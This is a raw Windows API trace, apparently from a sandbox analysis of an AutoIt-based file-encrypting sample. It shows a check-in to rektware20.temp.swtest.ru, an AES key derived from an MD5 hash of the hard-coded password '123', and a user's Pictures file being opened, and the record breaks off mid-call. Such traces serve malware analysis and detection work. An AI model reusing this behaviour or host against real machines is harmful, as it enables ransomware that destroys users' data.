CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Zkb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UG1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WVccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cEA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EA1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.783] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mPgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pgie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ie.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0062.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.784] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.784] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0062.784] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.784] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0062.784] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0062.784] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.784] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0062.784] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0062.784] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f28, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f28, lpdwBufferLength=0x130ee1c) returned 1 [0062.784] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.784] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.784] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.785] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0062.785] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0062.785] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0062.785] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0062.785] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0062.785] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.786] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.786] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.786] CloseHandle (hObject=0x0) returned 0 [0062.786] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.786] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0062.786] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0062.786] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.786] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.786] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.786] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.787] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.787] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0062.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.787] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0062.787] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.787] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.787] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.787] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.787] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0062.787] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0062.788] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0062.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0062.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0062.788] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0062.788] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa670) returned 1 [0062.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.789] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0062.789] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.789] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.789] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.789] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.789] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.789] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.789] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.789] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.790] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0062.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.790] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.790] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.790] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.790] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.790] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.790] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.790] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.790] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.790] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.790] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.790] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.790] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.790] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.791] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.791] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0062.791] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0062.791] CryptCreateHash (in: hProv=0x17aa670, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0062.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629520, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.791] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0062.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629420, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.792] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.792] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.792] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0062.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621870, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0062.792] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0062.792] CryptHashData (hHash=0x164c2f0, pbData=0x1629340, dwDataLen=0x3, dwFlags=0x1) returned 1 [0062.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.792] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.792] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.793] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.793] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.793] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0062.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621858, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0062.793] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0062.793] CryptDeriveKey (in: hProv=0x17aa670, Algid=0x6610, hBaseData=0x164c2f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0062.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.793] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.793] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0062.793] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0062.794] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0062.794] CryptDestroyHash (hHash=0x164c2f0) returned 1 [0062.794] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.794] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.794] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.794] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.794] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.794] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\3UG1WVccEA1mPgie.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\3ug1wvccea1mpgie.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 